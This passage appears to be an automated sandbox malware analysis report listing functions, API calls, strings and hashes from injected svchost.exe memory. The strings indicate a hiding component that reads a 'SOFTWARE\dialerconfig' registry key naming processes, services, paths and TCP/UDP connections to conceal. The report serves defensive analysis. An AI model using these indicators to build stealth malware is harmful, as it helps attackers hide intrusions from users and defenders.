Instruction Fuzzy Hash: 31115A72715F428AEB00CF61E8953B933A4F319759F480E31DA6E867A4DB7CC1988380

Function 000001FB539C253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001FB539C2620
StrCpyW.SHLWAPI ref: 000001FB539C2639

Strings

\\.\pipe\, xrefs: 000001FB539C262B

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: bb72addb5a8917fd1520e25578be5bde8718d817993148d3e88a25d5e77b9b06
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 7571A4B620978685EB25DF29D8C43FAA7A6F385784F4C0036DD8B53BA9DB3DC6458700

Function 000001FB53999E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001FB53999EB7

Strings

MOC, xrefs: 000001FB53999E7C
RCC, xrefs: 000001FB53999E85

Memory Dump Source

Source File: 00000034.00000002.2003352169.000001FB53990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB53990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb53990000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 3341bbce40f2fc636230826d8423e9b0d65deab6b2a0a9c3cd1c9539a72497e8
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 7761927360AB468AEB10DF65D4907ED77A2F344B88F084225EF4A17BA8DB38D595CB00

Function 000001FB539C2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001FB539C2416
StrCpyW.SHLWAPI ref: 000001FB539C242D

Strings

\\.\pipe\, xrefs: 000001FB539C2421

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 1e2d7e75fcec33aae6cfda06d1fedda4746025f1c3ce262bf2523ed21a116398
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 305184B220E78B82EA64DA29E4D83FAE792F395740F4D0135DD9B03B6ADB3DC5058740

Function 000001FB539D26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000001FB539D2807
GetLastError.KERNEL32 ref: 000001FB539D2829

Strings

U, xrefs: 000001FB539D27B3

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: ecc2ab4eee834b5eb349c99eeea2a38c23bc3884ca80047f2a69e4f6d83fdaf1
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: FB41A8B271AA8185EB20DF25E4853F9B7A1F798794F584431EE8E877A4DB7CC441C740

Function 000001FB539C94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001FB539C94F0
RaiseException.KERNEL32 ref: 000001FB539C9531

Strings

csm, xrefs: 000001FB539C951E

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 0434695ab50d31999ccfb44931bc123f96a23a80cf5f0d546cb8bc6dfc13b013
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: E6112B76219B8582EB618B15E4803A9B7E6FB88B94F5C4225EE8D07B69DF3CC551CB00

Function 000001FB53997356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001FB5399737C

Strings

ierarchy Descriptor', xrefs: 000001FB53997381
riptor at (, xrefs: 000001FB53997364

Memory Dump Source

Source File: 00000034.00000002.2003352169.000001FB53990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB53990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb53990000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: c69f2d03e7c10632b7f5d63e6c16b7762b360b625939375ae85a8f999810678c
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 2EE086B1749B4590DF028F21E8902E833A1DBA8B64F8C9232995D0A321FB3CD5E9C301

Function 000001FB539973B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001FB539973D8

Strings

riptor at (, xrefs: 000001FB539973C0
Locator', xrefs: 000001FB539973DD

Memory Dump Source

Source File: 00000034.00000002.2003352169.000001FB53990000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB53990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb53990000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: f00d30d7b76d42afc42083ec7512426173d9921f52db44da75f216fa2e63f94c
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 2EE086B1709B4590DF028F21E8901E87361E7A8B54F8C9232C94D0A321EB3CD5E5C300

Function 000001FB539C1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001FB539C1C2D
HeapAlloc.KERNEL32 ref: 000001FB539C1C3B
GetProcessHeap.KERNEL32 ref: 000001FB539C1C77
HeapFree.KERNEL32 ref: 000001FB539C1C85

Part of subcall function 000001FB539C152C: StrCmpIW.SHLWAPI ref: 000001FB539C155D

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 6aa450c30a7baaebf75d86072b728c595605062254c08432bf4957f3f5be0a0b
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: B6116375606B8A81FA04DB56D4852BA67A2F789FC0F5C4035DE4E43775DF3CC4418340

Function 000001FB539C1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001FB539C126E
HeapAlloc.KERNEL32 ref: 000001FB539C127D
GetProcessHeap.KERNEL32 ref: 000001FB539C1297
HeapAlloc.KERNEL32 ref: 000001FB539C12A8

Memory Dump Source

Source File: 00000034.00000002.2003419313.000001FB539C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001FB539C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_1fb539c0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 5be64a25ae3680dda377404a020bb3eed52e059bff3fe1fe1c5071d9c80fb988
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 18E0657560264586F7048F92D84939B3BE2FB89F45F48C424C94A07361DF7D8495C750

Analysis Process: svchost.exePID: 376, Parent PID: 7616COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	66
Total number of Limit Nodes:	2

Executed Functions

Function 000001CBD8BD1268 Relevance: 5.0, APIs: 4, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001CBD8BD126E
HeapAlloc.KERNEL32 ref: 000001CBD8BD127D
GetProcessHeap.KERNEL32 ref: 000001CBD8BD1297
HeapAlloc.KERNEL32 ref: 000001CBD8BD12A8

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 3351c60c845fd7169fdfdb9f14dc5b268d6217c379f2eec7515d69f6ca4aac72
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 82E039356417048AFB068BE2D8497AA36E1EB9AB1AF049028890A47351DF7EC499C791

Function 000001CBD8BD328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001CBD8BD32AE
PathFindFileNameW.SHLWAPI ref: 000001CBD8BD32BD

Part of subcall function 000001CBD8BD3844: StrCmpNIW.SHLWAPI ref: 000001CBD8BD385C

Part of subcall function 000001CBD8BD3790: GetModuleHandleW.KERNEL32 ref: 000001CBD8BD379E
Part of subcall function 000001CBD8BD3790: GetCurrentProcess.KERNEL32 ref: 000001CBD8BD37CC
Part of subcall function 000001CBD8BD3790: VirtualProtectEx.KERNEL32 ref: 000001CBD8BD37EE
Part of subcall function 000001CBD8BD3790: GetCurrentProcess.KERNEL32 ref: 000001CBD8BD3809
Part of subcall function 000001CBD8BD3790: VirtualProtectEx.KERNEL32 ref: 000001CBD8BD382A

CreateThread.KERNEL32 ref: 000001CBD8BD330B

Part of subcall function 000001CBD8BD1D14: GetCurrentThread.KERNEL32 ref: 000001CBD8BD1D1F

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 0989cddc6aaa1a1faba2074b06e92315ed3e7b45a9aad1d7a4383a5ef0838ee0
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 71115A366DC700A6F76097E0AAC7FF92296A748B1FF404128990FC1592FF7BC044C280

Function 000001CBD8BD1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001CBD8BD1628: GetProcessHeap.KERNEL32 ref: 000001CBD8BD1633
Part of subcall function 000001CBD8BD1628: HeapAlloc.KERNEL32 ref: 000001CBD8BD1642
Part of subcall function 000001CBD8BD1628: RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD16B2
Part of subcall function 000001CBD8BD1628: RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD16DF
Part of subcall function 000001CBD8BD1628: RegCloseKey.ADVAPI32 ref: 000001CBD8BD16F9
Part of subcall function 000001CBD8BD1628: RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD1719
Part of subcall function 000001CBD8BD1628: RegCloseKey.ADVAPI32 ref: 000001CBD8BD1734
Part of subcall function 000001CBD8BD1628: RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD1754
Part of subcall function 000001CBD8BD1628: RegCloseKey.ADVAPI32 ref: 000001CBD8BD176F
Part of subcall function 000001CBD8BD1628: RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD178F
Part of subcall function 000001CBD8BD1628: RegCloseKey.ADVAPI32 ref: 000001CBD8BD17AA
Part of subcall function 000001CBD8BD1628: RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD17CA

Sleep.KERNEL32 ref: 000001CBD8BD1AD7
SleepEx.KERNELBASE ref: 000001CBD8BD1ADD

Part of subcall function 000001CBD8BD1628: RegCloseKey.ADVAPI32 ref: 000001CBD8BD17E5
Part of subcall function 000001CBD8BD1628: RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD1805
Part of subcall function 000001CBD8BD1628: RegCloseKey.ADVAPI32 ref: 000001CBD8BD1820
Part of subcall function 000001CBD8BD1628: RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD1840
Part of subcall function 000001CBD8BD1628: RegCloseKey.ADVAPI32 ref: 000001CBD8BD185B
Part of subcall function 000001CBD8BD1628: RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD187B
Part of subcall function 000001CBD8BD1628: RegCloseKey.ADVAPI32 ref: 000001CBD8BD1896
Part of subcall function 000001CBD8BD1628: RegCloseKey.ADVAPI32 ref: 000001CBD8BD18A0

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: b0c894f7784fe93fd5e4d912c2eb019049ba366880ae2a28af5649d789d49e3d
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 94312571389B0161FB509BE2D6D37F9939AA744BCAF0464218E0FC7296FF17C451C290

Function 000001CBD8BD3844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000001CBD8BD385C

Strings

dialer, xrefs: 000001CBD8BD3855

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 6c3c39336d40b37e6c8cf9515fa28cbcf7c24992cf0487896dc8f09ec8df4234
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 7CD05E703953059AFB159FEA88C6EF02351AB08B9AF888024890A81251EB5BC99DD750

Function 000001CBD8BA273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000001CBD8BA285E

Memory Dump Source

Source File: 00000035.00000002.2649938267.000001CBD8BA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8ba0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 18b38bb5507917fa2352624df611951c3bb57cdfa5d1b2d23385e643455212a1
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: E4614732B8539087EB14CF948081BBD739AFB54B99F548131DE0E53785DB7AD852C784

Non-executed Functions

Function 000001CBD8BD2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000001CBD8BD2BD0
lstrlenW.KERNEL32 ref: 000001CBD8BD2E0A

Part of subcall function 000001CBD8BD199C: OpenProcess.KERNEL32 ref: 000001CBD8BD19C2
Part of subcall function 000001CBD8BD199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001CBD8BD19E0
Part of subcall function 000001CBD8BD199C: PathFindFileNameW.SHLWAPI ref: 000001CBD8BD19EF
Part of subcall function 000001CBD8BD199C: lstrlenW.KERNEL32 ref: 000001CBD8BD19FB
Part of subcall function 000001CBD8BD199C: StrCpyW.SHLWAPI ref: 000001CBD8BD1A0E
Part of subcall function 000001CBD8BD199C: CloseHandle.KERNEL32 ref: 000001CBD8BD1A1C

GetProcAddress.KERNEL32 ref: 000001CBD8BD2BE5

Part of subcall function 000001CBD8BD152C: StrCmpIW.SHLWAPI ref: 000001CBD8BD155D

Part of subcall function 000001CBD8BD3844: StrCmpNIW.SHLWAPI ref: 000001CBD8BD385C

StrCmpNIW.SHLWAPI ref: 000001CBD8BD2C28
lstrlenW.KERNEL32 ref: 000001CBD8BD2D50

Strings

ntdll.dll, xrefs: 000001CBD8BD2BC9
\Device\Nsi, xrefs: 000001CBD8BD2C1B
NtQueryObject, xrefs: 000001CBD8BD2BDB

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 79a09f8f3720bc5273b010d1f356e68a70ec6752ccfd98b3c301455b28cdac55
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 4BB16B32258B9096FB698FE5D482BF963AAF744B8AF045016DE0F93794DB37D841C380

Function 000001CBD8BD7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001CBD8BD7DAC
RtlCaptureContext.NTDLL ref: 000001CBD8BD7DD9
RtlLookupFunctionEntry.NTDLL ref: 000001CBD8BD7DF3
RtlVirtualUnwind.NTDLL ref: 000001CBD8BD7E34
IsDebuggerPresent.KERNEL32 ref: 000001CBD8BD7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001CBD8BD7EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001CBD8BD7EB4

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 03cf5bd3c19122581734986f2c10f6d311e666521bfd68b1f6af84beb660f4f4
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: F6319E72248B809AFB608FE0E881BED7365F785709F44402ADA4F87B94EF3AC549C740

Function 000001CBD8BDD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001CBD8BDD31D
RtlLookupFunctionEntry.NTDLL ref: 000001CBD8BDD335
RtlVirtualUnwind.NTDLL ref: 000001CBD8BDD370
IsDebuggerPresent.KERNEL32 ref: 000001CBD8BDD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001CBD8BDD3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001CBD8BDD3BE

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: a64a8fafea4748a103742ffd9067c0c0469601ae63dc2b93c66a8a842f97a94b
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 67319332258F809AEB60CFA5E8817EE73A1F789759F540115EA9E83B54DF3AC145CB40

Function 000001CBD8BD1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001CBD8BD1633
HeapAlloc.KERNEL32 ref: 000001CBD8BD1642

Part of subcall function 000001CBD8BD1268: GetProcessHeap.KERNEL32 ref: 000001CBD8BD126E
Part of subcall function 000001CBD8BD1268: HeapAlloc.KERNEL32 ref: 000001CBD8BD127D
Part of subcall function 000001CBD8BD1268: GetProcessHeap.KERNEL32 ref: 000001CBD8BD1297
Part of subcall function 000001CBD8BD1268: HeapAlloc.KERNEL32 ref: 000001CBD8BD12A8

RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD16B2
RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD16DF
RegCloseKey.ADVAPI32 ref: 000001CBD8BD16F9
RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD1719
RegCloseKey.ADVAPI32 ref: 000001CBD8BD1734
RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD1754
RegCloseKey.ADVAPI32 ref: 000001CBD8BD176F
RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD178F
RegCloseKey.ADVAPI32 ref: 000001CBD8BD17AA
RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD17CA
RegCloseKey.ADVAPI32 ref: 000001CBD8BD17E5
RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD1805
RegCloseKey.ADVAPI32 ref: 000001CBD8BD1820
RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD1840
RegCloseKey.ADVAPI32 ref: 000001CBD8BD185B
RegOpenKeyExW.ADVAPI32 ref: 000001CBD8BD187B
RegCloseKey.ADVAPI32 ref: 000001CBD8BD1896
RegCloseKey.ADVAPI32 ref: 000001CBD8BD18A0

Part of subcall function 000001CBD8BD12BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001CBD8BD1319
Part of subcall function 000001CBD8BD12BC: GetProcessHeap.KERNEL32 ref: 000001CBD8BD1327
Part of subcall function 000001CBD8BD12BC: HeapAlloc.KERNEL32 ref: 000001CBD8BD1338
Part of subcall function 000001CBD8BD12BC: RegEnumValueW.ADVAPI32 ref: 000001CBD8BD1397
Part of subcall function 000001CBD8BD12BC: GetProcessHeap.KERNEL32 ref: 000001CBD8BD13DF
Part of subcall function 000001CBD8BD12BC: HeapAlloc.KERNEL32 ref: 000001CBD8BD13ED
Part of subcall function 000001CBD8BD12BC: GetProcessHeap.KERNEL32 ref: 000001CBD8BD140A
Part of subcall function 000001CBD8BD12BC: HeapFree.KERNEL32 ref: 000001CBD8BD1418
Part of subcall function 000001CBD8BD12BC: lstrlenW.KERNEL32 ref: 000001CBD8BD1421
Part of subcall function 000001CBD8BD12BC: GetProcessHeap.KERNEL32 ref: 000001CBD8BD142F
Part of subcall function 000001CBD8BD12BC: HeapAlloc.KERNEL32 ref: 000001CBD8BD143D

Strings

SOFTWARE\dialerconfig, xrefs: 000001CBD8BD1692
pid, xrefs: 000001CBD8BD1712
process_names, xrefs: 000001CBD8BD174D
startup, xrefs: 000001CBD8BD16D5
tcp_remote, xrefs: 000001CBD8BD1839
service_names, xrefs: 000001CBD8BD17C3
udp, xrefs: 000001CBD8BD1874
tcp_local, xrefs: 000001CBD8BD17FE
paths, xrefs: 000001CBD8BD1788

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 19dde69792006792dc4b80681f5feac67894e51617c30498e9630f35d049b7da
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 7A713936758B1099FB119FE5E8D2AA96365F784B8EF006111DA4F87B29DF37C544C380

Function 000001CBD8BD12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001CBD8BD1319
GetProcessHeap.KERNEL32 ref: 000001CBD8BD1327
HeapAlloc.KERNEL32 ref: 000001CBD8BD1338
RegEnumValueW.ADVAPI32 ref: 000001CBD8BD1397

Part of subcall function 000001CBD8BD152C: StrCmpIW.SHLWAPI ref: 000001CBD8BD155D

GetProcessHeap.KERNEL32 ref: 000001CBD8BD13DF
HeapAlloc.KERNEL32 ref: 000001CBD8BD13ED
GetProcessHeap.KERNEL32 ref: 000001CBD8BD140A
HeapFree.KERNEL32 ref: 000001CBD8BD1418
lstrlenW.KERNEL32 ref: 000001CBD8BD1421
GetProcessHeap.KERNEL32 ref: 000001CBD8BD142F
HeapAlloc.KERNEL32 ref: 000001CBD8BD143D
StrCpyW.SHLWAPI ref: 000001CBD8BD145F
GetProcessHeap.KERNEL32 ref: 000001CBD8BD1476
HeapFree.KERNEL32 ref: 000001CBD8BD1484

Strings

d, xrefs: 000001CBD8BD135A

Memory Dump Source

Source File: 00000035.00000002.2650566649.000001CBD8BD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001CBD8BD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_1cbd8bd0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 4748ce0690830c0898785a435476f9b8f0d028ed3fb3b1bc3ab9656b80b8c298
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
